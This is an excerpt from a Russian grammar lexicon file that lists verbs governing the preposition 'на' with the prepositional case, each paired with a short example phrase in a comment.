rus_verbs:замерзать{}, // замерзать на ветру
rus_verbs:схватывать{}, // схватывать на лету
rus_verbs:перевестись{}, // перевестись на Руси
rus_verbs:смешивать{}, // смешивать на блюдце
rus_verbs:прождать{}, // прождать на входе
rus_verbs:мерзнуть{}, // мерзнуть на ветру
rus_verbs:растирать{}, // растирать на коже
rus_verbs:переспать{}, // переспал на сеновале
rus_verbs:рассекать{}, // рассекать на скутере
rus_verbs:опровергнуть{}, // опровергнуть на высшем уровне
rus_verbs:дрыхнуть{}, // дрыхнуть на диване
rus_verbs:распять{}, // распять на кресте
rus_verbs:запечься{}, // запечься на костре
rus_verbs:застилать{}, // застилать на балконе
rus_verbs:сыскаться{}, // сыскаться на огороде
rus_verbs:разориться{}, // разориться на продаже спичек
rus_verbs:переделать{}, // переделать на станке
rus_verbs:разъяснять{}, // разъяснять на страницах газеты
rus_verbs:поседеть{}, // поседеть на висках
rus_verbs:протащить{}, // протащить на спине
rus_verbs:осуществиться{}, // осуществиться на деле
rus_verbs:селиться{}, // селиться на окраине
rus_verbs:оплачивать{}, // оплачивать на первой кассе
rus_verbs:переворачивать{}, // переворачивать на сковородке
rus_verbs:упражняться{}, // упражняться на батуте
rus_verbs:испробовать{}, // испробовать на себе
rus_verbs:разгладиться{}, // разгладиться на спине
rus_verbs:рисоваться{}, // рисоваться на стекле
rus_verbs:продрогнуть{}, // продрогнуть на морозе
rus_verbs:пометить{}, // пометить на доске
rus_verbs:приютить{}, // приютить на чердаке
rus_verbs:избирать{}, // избирать на первых свободных выборах
rus_verbs:затеваться{}, // затеваться на матче
rus_verbs:уплывать{}, // уплывать на катере
rus_verbs:замерцать{}, // замерцать на рекламном щите
rus_verbs:фиксироваться{}, // фиксироваться на достигнутом уровне
rus_verbs:запираться{}, // запираться на чердаке
rus_verbs:загубить{}, // загубить на корню
rus_verbs:развеяться{}, // развеяться на природе
rus_verbs:съезжаться{}, // съезжаться на лимузинах
rus_verbs:потанцевать{}, // потанцевать на могиле
rus_verbs:дохнуть{}, // дохнуть на солнце
rus_verbs:припарковаться{}, // припарковаться на газоне
rus_verbs:отхватить{}, // отхватить на распродаже
rus_verbs:остывать{}, // остывать на улице
rus_verbs:переваривать{}, // переваривать на высокой ветке
rus_verbs:подвесить{}, // подвесить на веревке
rus_verbs:хвастать{}, // хвастать на работе
rus_verbs:отрабатывать{}, // отрабатывать на уборке урожая
rus_verbs:разлечься{}, // разлечься на полу
rus_verbs:очертить{}, // очертить на полу
rus_verbs:председательствовать{}, // председательствовать на собрании
rus_verbs:сконфузиться{}, // сконфузиться на сцене
rus_verbs:выявляться{}, // выявляться на ринге
rus_verbs:крутануться{}, // крутануться на заднем колесе
rus_verbs:караулить{}, // караулить на входе
rus_verbs:перечислять{}, // перечислять на пальцах
rus_verbs:обрабатывать{}, // обрабатывать на станке
rus_verbs:настигать{}, // настигать на берегу
rus_verbs:разгуливать{}, // разгуливать на берегу
rus_verbs:насиловать{}, // насиловать на пляже
rus_verbs:поредеть{}, // поредеть на макушке
rus_verbs:учитывать{}, // учитывать на балансе
rus_verbs:зарождаться{}, // зарождаться на большой глубине
rus_verbs:распространять{}, // распространять на сайтах
rus_verbs:пировать{}, // пировать на вершине холма
rus_verbs:начертать{}, // начертать на стене
rus_verbs:расцветать{}, // расцветать на подоконнике
rus_verbs:умнеть{}, // умнеть на глазах
rus_verbs:царствовать{}, // царствовать на окраине
rus_verbs:закрутиться{}, // закрутиться на работе
rus_verbs:отработать{}, // отработать на шахте
rus_verbs:полечь{}, // полечь на поле брани
rus_verbs:щебетать{}, // щебетать на ветке
rus_verbs:подчеркиваться{}, // подчеркиваться на сайте
rus_verbs:посеять{}, // посеять на другом поле
rus_verbs:замечаться{}, // замечаться на пастбище
rus_verbs:просчитать{}, // просчитать на пальцах
rus_verbs:голосовать{}, // голосовать на трассе
rus_verbs:маяться{}, // маяться на пляже
rus_verbs:сколотить{}, // сколотить на службе
rus_verbs:обретаться{}, // обретаться на чужбине
rus_verbs:обливаться{}, // обливаться на улице
rus_verbs:катать{}, // катать на лошадке
rus_verbs:припрятать{}, // припрятать на теле
rus_verbs:запаниковать{}, // запаниковать на экзамене
инфинитив:слетать{ вид:соверш }, глагол:слетать{ вид:соверш }, // слетать на частном самолете
деепричастие:слетав{},
rus_verbs:срубить{}, // срубить денег на спекуляциях
rus_verbs:зажигаться{}, // зажигаться на улице
rus_verbs:жарить{}, // жарить на углях
rus_verbs:накапливаться{}, // накапливаться на счету
rus_verbs:распуститься{}, // распуститься на грядке
rus_verbs:рассаживаться{}, // рассаживаться на местах
rus_verbs:странствовать{}, // странствовать на лошади
rus_verbs:осматриваться{}, // осматриваться на месте
rus_verbs:разворачивать{}, // разворачивать на завоеванной территории
rus_verbs:согревать{}, // согревать на вершине горы
rus_verbs:заскучать{}, // заскучать на вахте
rus_verbs:перекусить{}, // перекусить на бегу
rus_verbs:приплыть{}, // приплыть на тримаране
rus_verbs:зажигать{}, // зажигать на танцах
rus_verbs:закопать{}, // закопать на поляне
rus_verbs:стирать{}, // стирать на берегу
rus_verbs:подстерегать{}, // подстерегать на подходе
rus_verbs:погулять{}, // погулять на свадьбе
rus_verbs:огласить{}, // огласить на митинге
rus_verbs:разбогатеть{}, // разбогатеть на прииске
rus_verbs:грохотать{}, // грохотать на чердаке
rus_verbs:расположить{}, // расположить на границе
rus_verbs:реализоваться{}, // реализоваться на новой работе
rus_verbs:застывать{}, // застывать на морозе
rus_verbs:запечатлеть{}, // запечатлеть на пленке
rus_verbs:тренироваться{}, // тренироваться на манекене
rus_verbs:поспорить{}, // поспорить на совещании
rus_verbs:затягивать{}, // затягивать на поясе
rus_verbs:зиждиться{}, // зиждиться на твердой основе
rus_verbs:построиться{}, // построиться на песке
rus_verbs:надрываться{}, // надрываться на работе
rus_verbs:закипать{}, // закипать на плите
rus_verbs:затонуть{}, // затонуть на мелководье
rus_verbs:побыть{}, // побыть на фазенде
rus_verbs:сгорать{}, // сгорать на солнце
инфинитив:пописать{ aux stress="поп^исать" }, глагол:пописать{ aux stress="поп^исать" }, // пописать на улице
деепричастие:пописав{ aux stress="поп^исав" },
rus_verbs:подраться{}, // подраться на сцене
rus_verbs:заправить{}, // заправить на последней заправке
rus_verbs:обозначаться{}, // обозначаться на карте
rus_verbs:просиживать{}, // просиживать на берегу
rus_verbs:начертить{}, // начертить на листке
rus_verbs:тормозить{}, // тормозить на льду
rus_verbs:затевать{}, // затевать на космической базе
rus_verbs:задерживать{}, // задерживать на таможне
rus_verbs:прилетать{}, // прилетать на частном самолете
rus_verbs:полулежать{}, // полулежать на травке
rus_verbs:ерзать{}, // ерзать на табуретке
rus_verbs:покопаться{}, // покопаться на складе
rus_verbs:подвезти{}, // подвезти на машине
rus_verbs:полежать{}, // полежать на водном матрасе
rus_verbs:стыть{}, // стыть на улице
rus_verbs:стынуть{}, // стынуть на улице
rus_verbs:скреститься{}, // скреститься на груди
rus_verbs:припарковать{}, // припарковать на стоянке
rus_verbs:здороваться{}, // здороваться на кафедре
rus_verbs:нацарапать{}, // нацарапать на парте
rus_verbs:откопать{}, // откопать на поляне
rus_verbs:смастерить{}, // смастерить на коленках
rus_verbs:довезти{}, // довезти на машине
rus_verbs:избивать{}, // избивать на крыше
rus_verbs:сварить{}, // сварить на костре
rus_verbs:истребить{}, // истребить на корню
rus_verbs:раскопать{}, // раскопать на болоте
rus_verbs:попить{}, // попить на кухне
rus_verbs:заправлять{}, // заправлять на базе
rus_verbs:кушать{}, // кушать на кухне
rus_verbs:замолкать{}, // замолкать на половине фразы
rus_verbs:измеряться{}, // измеряться на весах
rus_verbs:сбываться{}, // сбываться на самом деле
rus_verbs:изображаться{}, // изображается на сцене
rus_verbs:фиксировать{}, // фиксировать на данной высоте
rus_verbs:ослаблять{}, // ослаблять на шее
rus_verbs:зреть{}, // зреть на грядке
rus_verbs:зеленеть{}, // зеленеть на грядке
rus_verbs:критиковать{}, // критиковать на страницах газеты
rus_verbs:облететь{}, // облететь на самолете
rus_verbs:заразиться{}, // заразиться на работе
rus_verbs:рассеять{}, // рассеять на территории
rus_verbs:печься{}, // печься на костре
rus_verbs:поспать{}, // поспать на земле
rus_verbs:сплетаться{}, // сплетаться на макушке
rus_verbs:удерживаться{}, // удерживаться на расстоянии
rus_verbs:помешаться{}, // помешаться на чистоте
rus_verbs:ликвидировать{}, // ликвидировать на полигоне
rus_verbs:проваляться{}, // проваляться на диване
rus_verbs:лечиться{}, // лечиться на дому
rus_verbs:обработать{}, // обработать на станке
rus_verbs:защелкнуть{}, // защелкнуть на руках
rus_verbs:разносить{}, // разносить на одежде
rus_verbs:чесать{}, // чесать на груди
rus_verbs:наладить{}, // наладить на конвейере выпуск
rus_verbs:отряхнуться{}, // отряхнуться на улице
rus_verbs:разыгрываться{}, // разыгрываться на скачках
rus_verbs:обеспечиваться{}, // обеспечиваться на выгодных условиях
rus_verbs:греться{}, // греться на вокзале
rus_verbs:засидеться{}, // засидеться на одном месте
rus_verbs:материализоваться{}, // материализоваться на границе
rus_verbs:рассеиваться{}, // рассеиваться на высоте вершин
rus_verbs:перевозить{}, // перевозить на платформе
rus_verbs:поиграть{}, // поиграть на скрипке
rus_verbs:потоптаться{}, // потоптаться на одном месте
rus_verbs:переправиться{}, // переправиться на плоту
rus_verbs:забрезжить{}, // забрезжить на горизонте
rus_verbs:завывать{}, // завывать на опушке
rus_verbs:заваривать{}, // заваривать на кухоньке
rus_verbs:перемещаться{}, // перемещаться на спасательном плоту
инфинитив:писаться{ aux stress="пис^аться" }, глагол:писаться{ aux stress="пис^аться" }, // писаться на бланке
rus_verbs:праздновать{}, // праздновать на улицах
rus_verbs:обучить{}, // обучить на корте
rus_verbs:орудовать{}, // орудовать на складе
rus_verbs:подрасти{}, // подрасти на глядке
rus_verbs:шелестеть{}, // шелестеть на ветру
rus_verbs:раздеваться{}, // раздеваться на публике
rus_verbs:пообедать{}, // пообедать на газоне
rus_verbs:жрать{}, // жрать на помойке
rus_verbs:исполняться{}, // исполняться на флейте
rus_verbs:похолодать{}, // похолодать на улице
rus_verbs:гнить{}, // гнить на каторге
rus_verbs:прослушать{}, // прослушать на концерте
rus_verbs:совещаться{}, // совещаться на заседании
rus_verbs:покачивать{}, // покачивать на волнах
rus_verbs:отсидеть{}, // отсидеть на гаупвахте
rus_verbs:формировать{}, // формировать на секретной базе
rus_verbs:захрапеть{}, // захрапеть на кровати
rus_verbs:объехать{}, // объехать на попутке
rus_verbs:поселить{}, // поселить на верхних этажах
rus_verbs:заворочаться{}, // заворочаться на сене
rus_verbs:напрятать{}, // напрятать на теле
rus_verbs:очухаться{}, // очухаться на земле
rus_verbs:полистать{}, // полистать на досуге
rus_verbs:завертеть{}, // завертеть на шесте
rus_verbs:печатать{}, // печатать на ноуте
rus_verbs:отыскаться{}, // отыскаться на складе
rus_verbs:зафиксировать{}, // зафиксировать на пленке
rus_verbs:расстилаться{}, // расстилаться на столе
rus_verbs:заместить{}, // заместить на посту
rus_verbs:угасать{}, // угасать на неуправляемом корабле
rus_verbs:сразить{}, // сразить на ринге
rus_verbs:расплываться{}, // расплываться на жаре
rus_verbs:сосчитать{}, // сосчитать на пальцах
rus_verbs:сгуститься{}, // сгуститься на небольшой высоте
rus_verbs:цитировать{}, // цитировать на плите
rus_verbs:ориентироваться{}, // ориентироваться на местности
rus_verbs:расширить{}, // расширить на другом конце
rus_verbs:обтереть{}, // обтереть на стоянке
rus_verbs:подстрелить{}, // подстрелить на охоте
rus_verbs:растереть{}, // растереть на твердой поверхности
rus_verbs:подавлять{}, // подавлять на первом этапе
rus_verbs:смешиваться{}, // смешиваться на поверхности
// инфинитив:вычитать{ aux stress="в^ычитать" }, глагол:вычитать{ aux stress="в^ычитать" }, // вычитать на сайте
// деепричастие:вычитав{},
rus_verbs:сократиться{}, // сократиться на втором этапе
rus_verbs:занервничать{}, // занервничать на экзамене
rus_verbs:соприкоснуться{}, // соприкоснуться на трассе
rus_verbs:обозначить{}, // обозначить на плане
rus_verbs:обучаться{}, // обучаться на производстве
rus_verbs:снизиться{}, // снизиться на большой высоте
rus_verbs:простудиться{}, // простудиться на ветру
rus_verbs:поддерживаться{}, // поддерживается на встрече
rus_verbs:уплыть{}, // уплыть на лодочке
rus_verbs:резвиться{}, // резвиться на песочке
rus_verbs:поерзать{}, // поерзать на скамеечке
rus_verbs:похвастаться{}, // похвастаться на встрече
rus_verbs:знакомиться{}, // знакомиться на уроке
rus_verbs:проплывать{}, // проплывать на катере
rus_verbs:засесть{}, // засесть на чердаке
rus_verbs:подцепить{}, // подцепить на дискотеке
rus_verbs:обыскать{}, // обыскать на входе
rus_verbs:оправдаться{}, // оправдаться на суде
rus_verbs:раскрываться{}, // раскрываться на сцене
rus_verbs:одеваться{}, // одеваться на вещевом рынке
rus_verbs:засветиться{}, // засветиться на фотографиях
rus_verbs:употребляться{}, // употребляться на птицефабриках
rus_verbs:грабить{}, // грабить на пустыре
rus_verbs:гонять{}, // гонять на повышенных оборотах
rus_verbs:развеваться{}, // развеваться на древке
rus_verbs:основываться{}, // основываться на безусловных фактах
rus_verbs:допрашивать{}, // допрашивать на базе
rus_verbs:проработать{}, // проработать на стройке
rus_verbs:сосредоточить{}, // сосредоточить на месте
rus_verbs:сочинять{}, // сочинять на ходу
rus_verbs:ползать{}, // ползать на камне
rus_verbs:раскинуться{}, // раскинуться на пустыре
rus_verbs:уставать{}, // уставать на работе
rus_verbs:укрепить{}, // укрепить на конце
rus_verbs:образовывать{}, // образовывать на открытом воздухе взрывоопасную смесь
rus_verbs:одобрять{}, // одобрять на словах
rus_verbs:приговорить{}, // приговорить на заседании тройки
rus_verbs:чернеть{}, // чернеть на свету
rus_verbs:гнуть{}, // гнуть на станке
rus_verbs:размещаться{}, // размещаться на бирже
rus_verbs:соорудить{}, // соорудить на даче
rus_verbs:пастись{}, // пастись на лугу
rus_verbs:формироваться{}, // формироваться на дне
rus_verbs:таить{}, // таить на дне
rus_verbs:приостановиться{}, // приостановиться на середине
rus_verbs:топтаться{}, // топтаться на месте
rus_verbs:громить{}, // громить на подступах
rus_verbs:вычислить{}, // вычислить на бумажке
rus_verbs:заказывать{}, // заказывать на сайте
rus_verbs:осуществить{}, // осуществить на практике
rus_verbs:обосноваться{}, // обосноваться на верхушке
rus_verbs:пытать{}, // пытать на электрическом стуле
rus_verbs:совершиться{}, // совершиться на заседании
rus_verbs:свернуться{}, // свернуться на медленном огне
rus_verbs:пролетать{}, // пролетать на дельтаплане
rus_verbs:сбыться{}, // сбыться на самом деле
rus_verbs:разговориться{}, // разговориться на уроке
rus_verbs:разворачиваться{}, // разворачиваться на перекрестке
rus_verbs:преподнести{}, // преподнести на блюдечке
rus_verbs:напечатать{}, // напечатать на лазернике
rus_verbs:прорвать{}, // прорвать на периферии
rus_verbs:раскачиваться{}, // раскачиваться на доске
rus_verbs:задерживаться{}, // задерживаться на старте
rus_verbs:угощать{}, // угощать на вечеринке
rus_verbs:шарить{}, // шарить на столе
rus_verbs:увеличивать{}, // увеличивать на первом этапе
rus_verbs:рехнуться{}, // рехнуться на старости лет
rus_verbs:расцвести{}, // расцвести на грядке
rus_verbs:закипеть{}, // закипеть на плите
rus_verbs:подлететь{}, // подлететь на параплане
rus_verbs:рыться{}, // рыться на свалке
rus_verbs:добираться{}, // добираться на попутках
rus_verbs:продержаться{}, // продержаться на вершине
rus_verbs:разыскивать{}, // разыскивать на выставках
rus_verbs:освобождать{}, // освобождать на заседании
rus_verbs:передвигаться{}, // передвигаться на самокате
rus_verbs:проявиться{}, // проявиться на свету
rus_verbs:заскользить{}, // заскользить на льду
rus_verbs:пересказать{}, // пересказать на сцене студенческого театра
rus_verbs:протестовать{}, // протестовать на улице
rus_verbs:указываться{}, // указываться на табличках
rus_verbs:прискакать{}, // прискакать на лошадке
rus_verbs:копошиться{}, // копошиться на свежем воздухе
rus_verbs:подсчитать{}, // подсчитать на бумажке
rus_verbs:разволноваться{}, // разволноваться на экзамене
rus_verbs:завертеться{}, // завертеться на полу
rus_verbs:ознакомиться{}, // ознакомиться на ходу
rus_verbs:ржать{}, // ржать на уроке
rus_verbs:раскинуть{}, // раскинуть на грядках
rus_verbs:разгромить{}, // разгромить на ринге
rus_verbs:подслушать{}, // подслушать на совещании
rus_verbs:описываться{}, // описываться на страницах книги
rus_verbs:качаться{}, // качаться на стуле
rus_verbs:усилить{}, // усилить на флангах
rus_verbs:набросать{}, // набросать на клочке картона
rus_verbs:расстреливать{}, // расстреливать на подходе
rus_verbs:запрыгать{}, // запрыгать на одной ноге
rus_verbs:сыскать{}, // сыскать на чужбине
rus_verbs:подтвердиться{}, // подтвердиться на практике
rus_verbs:плескаться{}, // плескаться на мелководье
rus_verbs:расширяться{}, // расширяться на конце
rus_verbs:подержать{}, // подержать на солнце
rus_verbs:планироваться{}, // планироваться на общем собрании
rus_verbs:сгинуть{}, // сгинуть на чужбине
rus_verbs:замкнуться{}, // замкнуться на точке
rus_verbs:закачаться{}, // закачаться на ветру
rus_verbs:перечитывать{}, // перечитывать на ходу
rus_verbs:перелететь{}, // перелететь на дельтаплане
rus_verbs:оживать{}, // оживать на солнце
rus_verbs:женить{}, // женить на богатой невесте
rus_verbs:заглохнуть{}, // заглохнуть на старте
rus_verbs:копаться{}, // копаться на полу
rus_verbs:развлекаться{}, // развлекаться на дискотеке
rus_verbs:печататься{}, // печататься на струйном принтере
rus_verbs:обрываться{}, // обрываться на полуслове
rus_verbs:ускакать{}, // ускакать на лошадке
rus_verbs:подписывать{}, // подписывать на столе
rus_verbs:добывать{}, // добывать на выработке
rus_verbs:скопиться{}, // скопиться на выходе
rus_verbs:повстречать{}, // повстречать на пути
rus_verbs:поцеловаться{}, // поцеловаться на площади
rus_verbs:растянуть{}, // растянуть на столе
rus_verbs:подаваться{}, // подаваться на благотворительном обеде
rus_verbs:повстречаться{}, // повстречаться на митинге
rus_verbs:примоститься{}, // примоститься на ступеньках
rus_verbs:отразить{}, // отразить на страницах доклада
rus_verbs:пояснять{}, // пояснять на страницах приложения
rus_verbs:накормить{}, // накормить на кухне
rus_verbs:поужинать{}, // поужинать на веранде
инфинитив:спеть{ вид:соверш }, глагол:спеть{ вид:соверш }, // спеть на митинге
деепричастие:спев{},
инфинитив:спеть{ вид:несоверш }, глагол:спеть{ вид:несоверш },
rus_verbs:топить{}, // топить на мелководье
rus_verbs:освоить{}, // освоить на практике
rus_verbs:распластаться{}, // распластаться на травке
rus_verbs:отплыть{}, // отплыть на старом каяке
rus_verbs:улетать{}, // улетать на любом самолете
rus_verbs:отстаивать{}, // отстаивать на корте
rus_verbs:осуждать{}, // осуждать на словах
rus_verbs:переговорить{}, // переговорить на обеде
rus_verbs:укрыть{}, // укрыть на чердаке
rus_verbs:томиться{}, // томиться на привязи
rus_verbs:сжигать{}, // сжигать на полигоне
rus_verbs:позавтракать{}, // позавтракать на лоне природы
rus_verbs:функционировать{}, // функционирует на солнечной энергии
rus_verbs:разместить{}, // разместить на сайте
rus_verbs:пронести{}, // пронести на теле
rus_verbs:нашарить{}, // нашарить на столе
rus_verbs:корчиться{}, // корчиться на полу
rus_verbs:распознать{}, // распознать на снимке
rus_verbs:повеситься{}, // повеситься на шнуре
rus_verbs:обозначиться{}, // обозначиться на картах
rus_verbs:оступиться{}, // оступиться на скользком льду
rus_verbs:подносить{}, // подносить на блюдечке
rus_verbs:расстелить{}, // расстелить на газоне
rus_verbs:обсуждаться{}, // обсуждаться на собрании
rus_verbs:расписаться{}, // расписаться на бланке
rus_verbs:плестись{}, // плестись на привязи
rus_verbs:объявиться{}, // объявиться на сцене
rus_verbs:повышаться{}, // повышаться на первом датчике
rus_verbs:разрабатывать{}, // разрабатывать на заводе
rus_verbs:прерывать{}, // прерывать на середине
rus_verbs:каяться{}, // каяться на публике
rus_verbs:освоиться{}, // освоиться на лошади
rus_verbs:подплыть{}, // подплыть на плоту
rus_verbs:оскорбить{}, // оскорбить на митинге
rus_verbs:торжествовать{}, // торжествовать на пьедестале
rus_verbs:поправлять{}, // поправлять на одежде
rus_verbs:отражать{}, // отражать на картине
rus_verbs:дремать{}, // дремать на кушетке
rus_verbs:применяться{}, // применяться на производстве стали
rus_verbs:поражать{}, // поражать на большой дистанции
rus_verbs:расстрелять{}, // расстрелять на окраине хутора
rus_verbs:рассчитать{}, // рассчитать на калькуляторе
rus_verbs:записывать{}, // записывать на ленте
rus_verbs:перебирать{}, // перебирать на ладони
rus_verbs:разбиться{}, // разбиться на катере
rus_verbs:поискать{}, // поискать на ферме
rus_verbs:прятать{}, // прятать на заброшенном складе
rus_verbs:пропеть{}, // пропеть на эстраде
rus_verbs:замелькать{}, // замелькать на экране
rus_verbs:грустить{}, // грустить на веранде
rus_verbs:крутить{}, // крутить на оси
rus_verbs:подготовить{}, // подготовить на конспиративной квартире
rus_verbs:различать{}, // различать на картинке
rus_verbs:киснуть{}, // киснуть на чужбине
rus_verbs:оборваться{}, // оборваться на полуслове
rus_verbs:запутаться{}, // запутаться на простейшем тесте
rus_verbs:общаться{}, // общаться на уроке
rus_verbs:производиться{}, // производиться на фабрике
rus_verbs:сочинить{}, // сочинить на досуге
rus_verbs:давить{}, // давить на лице
rus_verbs:разработать{}, // разработать на секретном предприятии
rus_verbs:качать{}, // качать на качелях
rus_verbs:тушить{}, // тушить на крыше пожар
rus_verbs:охранять{}, // охранять на территории базы
rus_verbs:приметить{}, // приметить на взгорке
rus_verbs:скрыть{}, // скрыть на теле
rus_verbs:удерживать{}, // удерживать на руке
rus_verbs:усвоить{}, // усвоить на уроке
rus_verbs:растаять{}, // растаять на солнечной стороне
rus_verbs:красоваться{}, // красоваться на виду
rus_verbs:сохраняться{}, // сохраняться на холоде
rus_verbs:лечить{}, // лечить на дому
rus_verbs:прокатиться{}, // прокатиться на уницикле
rus_verbs:договариваться{}, // договариваться на нейтральной территории
rus_verbs:качнуться{}, // качнуться на одной ноге
rus_verbs:опубликовать{}, // опубликовать на сайте
rus_verbs:отражаться{}, // отражаться на поверхности воды
rus_verbs:обедать{}, // обедать на веранде
rus_verbs:посидеть{}, // посидеть на лавочке
rus_verbs:сообщаться{}, // сообщаться на официальном сайте
rus_verbs:свершиться{}, // свершиться на заседании
rus_verbs:ночевать{}, // ночевать на даче
rus_verbs:темнеть{}, // темнеть на свету
rus_verbs:гибнуть{}, // гибнуть на территории полигона
rus_verbs:усиливаться{}, // усиливаться на территории округа
rus_verbs:проживать{}, // проживать на даче
rus_verbs:исследовать{}, // исследовать на большой глубине
rus_verbs:обитать{}, // обитать на громадной глубине
rus_verbs:сталкиваться{}, // сталкиваться на большой высоте
rus_verbs:таиться{}, // таиться на большой глубине
rus_verbs:спасать{}, // спасать на пожаре
rus_verbs:сказываться{}, // сказываться на общем результате
rus_verbs:заблудиться{}, // заблудиться на стройке
rus_verbs:пошарить{}, // пошарить на полках
rus_verbs:планировать{}, // планировать на бумаге
rus_verbs:ранить{}, // ранить на полигоне
rus_verbs:хлопать{}, // хлопать на сцене
rus_verbs:основать{}, // основать на горе новый монастырь
rus_verbs:отбить{}, // отбить на столе
rus_verbs:отрицать{}, // отрицать на заседании комиссии
rus_verbs:устоять{}, // устоять на ногах
rus_verbs:отзываться{}, // отзываться на страницах отчёта
rus_verbs:притормозить{}, // притормозить на обочине
rus_verbs:читаться{}, // читаться на лице
rus_verbs:заиграть{}, // заиграть на саксофоне
rus_verbs:зависнуть{}, // зависнуть на игровой площадке
rus_verbs:сознаться{}, // сознаться на допросе
rus_verbs:выясняться{}, // выясняться на очной ставке
rus_verbs:наводить{}, // наводить на столе порядок
rus_verbs:покоиться{}, // покоиться на кладбище
rus_verbs:значиться{}, // значиться на бейджике
rus_verbs:съехать{}, // съехать на санках
rus_verbs:познакомить{}, // познакомить на свадьбе
rus_verbs:завязать{}, // завязать на спине
rus_verbs:грохнуть{}, // грохнуть на площади
rus_verbs:разъехаться{}, // разъехаться на узкой дороге
rus_verbs:столпиться{}, // столпиться на крыльце
rus_verbs:порыться{}, // порыться на полках
rus_verbs:ослабить{}, // ослабить на шее
rus_verbs:оправдывать{}, // оправдывать на суде
rus_verbs:обнаруживаться{}, // обнаруживаться на складе
rus_verbs:спастись{}, // спастись на дереве
rus_verbs:прерваться{}, // прерваться на полуслове
rus_verbs:строиться{}, // строиться на пустыре
rus_verbs:познать{}, // познать на практике
rus_verbs:путешествовать{}, // путешествовать на поезде
rus_verbs:побеждать{}, // побеждать на ринге
rus_verbs:рассматриваться{}, // рассматриваться на заседании
rus_verbs:продаваться{}, // продаваться на открытом рынке
rus_verbs:разместиться{}, // разместиться на базе
rus_verbs:завыть{}, // завыть на холме
rus_verbs:настигнуть{}, // настигнуть на окраине
rus_verbs:укрыться{}, // укрыться на чердаке
rus_verbs:расплакаться{}, // расплакаться на заседании комиссии
rus_verbs:заканчивать{}, // заканчивать на последнем задании
rus_verbs:пролежать{}, // пролежать на столе
rus_verbs:громоздиться{}, // громоздиться на полу
rus_verbs:замерзнуть{}, // замерзнуть на открытом воздухе
rus_verbs:поскользнуться{}, // поскользнуться на льду
rus_verbs:таскать{}, // таскать на спине
rus_verbs:просматривать{}, // просматривать на сайте
rus_verbs:обдумать{}, // обдумать на досуге
rus_verbs:гадать{}, // гадать на кофейной гуще
rus_verbs:останавливать{}, // останавливать на выходе
rus_verbs:обозначать{}, // обозначать на странице
rus_verbs:долететь{}, // долететь на спортивном байке
rus_verbs:тесниться{}, // тесниться на чердачке
rus_verbs:хоронить{}, // хоронить на частном кладбище
rus_verbs:установиться{}, // установиться на юге
rus_verbs:прикидывать{}, // прикидывать на клочке бумаги
rus_verbs:затаиться{}, // затаиться на дереве
rus_verbs:раздобыть{}, // раздобыть на складе
rus_verbs:перебросить{}, // перебросить на вертолетах
rus_verbs:захватывать{}, // захватывать на базе
rus_verbs:сказаться{}, // сказаться на итоговых оценках
rus_verbs:покачиваться{}, // покачиваться на волнах
rus_verbs:крутиться{}, // крутиться на кухне
rus_verbs:помещаться{}, // помещаться на полке
rus_verbs:питаться{}, // питаться на помойке
rus_verbs:отдохнуть{}, // отдохнуть на загородной вилле
rus_verbs:кататься{}, // кататься на велике
rus_verbs:поработать{}, // поработать на стройке
rus_verbs:ограбить{}, // ограбить на пустыре
rus_verbs:зарабатывать{}, // зарабатывать на бирже
rus_verbs:преуспеть{}, // преуспеть на ниве искусства
rus_verbs:заерзать{}, // заерзать на стуле
rus_verbs:разъяснить{}, // разъяснить на полях
rus_verbs:отчеканить{}, // отчеканить на медной пластине
rus_verbs:торговать{}, // торговать на рынке
rus_verbs:поколебаться{}, // поколебаться на пороге
rus_verbs:прикинуть{}, // прикинуть на бумажке
rus_verbs:рассечь{}, // рассечь на тупом конце
rus_verbs:посмеяться{}, // посмеяться на переменке
rus_verbs:остыть{}, // остыть на морозном воздухе
rus_verbs:запереться{}, // запереться на чердаке
rus_verbs:обогнать{}, // обогнать на повороте
rus_verbs:подтянуться{}, // подтянуться на турнике
rus_verbs:привозить{}, // привозить на машине
rus_verbs:подбирать{}, // подбирать на полу
rus_verbs:уничтожать{}, // уничтожать на подходе
rus_verbs:притаиться{}, // притаиться на вершине
rus_verbs:плясать{}, // плясать на костях
rus_verbs:поджидать{}, // поджидать на вокзале
rus_verbs:закончить{}, // Мы закончили игру на самом интересном месте (САМ не может быть первым прилагательным в цепочке!)
rus_verbs:смениться{}, // смениться на посту
rus_verbs:посчитать{}, // посчитать на пальцах
rus_verbs:прицелиться{}, // прицелиться на бегу
rus_verbs:нарисовать{}, // нарисовать на стене
rus_verbs:прыгать{}, // прыгать на сцене
rus_verbs:повертеть{}, // повертеть на пальце
rus_verbs:попрощаться{}, // попрощаться на панихиде
инфинитив:просыпаться{ вид:соверш }, глагол:просыпаться{ вид:соверш }, // просыпаться на диване
rus_verbs:разобрать{}, // разобрать на столе
rus_verbs:помереть{}, // помереть на чужбине
rus_verbs:различить{}, // различить на нечеткой фотографии
rus_verbs:рисовать{}, // рисовать на доске
rus_verbs:проследить{}, // проследить на экране
rus_verbs:задремать{}, // задремать на диване
rus_verbs:ругаться{}, // ругаться на людях
rus_verbs:сгореть{}, // сгореть на работе
rus_verbs:зазвучать{}, // зазвучать на коротких волнах
rus_verbs:задохнуться{}, // задохнуться на вершине горы
rus_verbs:порождать{}, // порождать на поверхности небольшую рябь
rus_verbs:отдыхать{}, // отдыхать на курорте
rus_verbs:образовать{}, // образовать на дне толстый слой
rus_verbs:поправиться{}, // поправиться на дармовых харчах
rus_verbs:отмечать{}, // отмечать на календаре
rus_verbs:реять{}, // реять на флагштоке
rus_verbs:ползти{}, // ползти на коленях
rus_verbs:продавать{}, // продавать на аукционе
rus_verbs:сосредоточиться{}, // сосредоточиться на основной задаче
rus_verbs:рыскать{}, // мышки рыскали на кухне
rus_verbs:расстегнуть{}, // расстегнуть на куртке все пуговицы
rus_verbs:напасть{}, // напасть на территории другого государства
rus_verbs:издать{}, // издать на западе
rus_verbs:оставаться{}, // оставаться на страже порядка
rus_verbs:появиться{}, // наконец появиться на экране
rus_verbs:лежать{}, // лежать на столе
rus_verbs:ждать{}, // ждать на берегу
инфинитив:писать{aux stress="пис^ать"}, // писать на бумаге
глагол:писать{aux stress="пис^ать"},
rus_verbs:оказываться{}, // оказываться на полу
rus_verbs:поставить{}, // поставить на столе
rus_verbs:держать{}, // держать на крючке
rus_verbs:выходить{}, // выходить на остановке
rus_verbs:заговорить{}, // заговорить на китайском языке
rus_verbs:ожидать{}, // ожидать на стоянке
rus_verbs:закричать{}, // закричал на минарете муэдзин
rus_verbs:простоять{}, // простоять на посту
rus_verbs:продолжить{}, // продолжить на первом этаже
rus_verbs:ощутить{}, // ощутить на себе влияние кризиса
rus_verbs:состоять{}, // состоять на учете
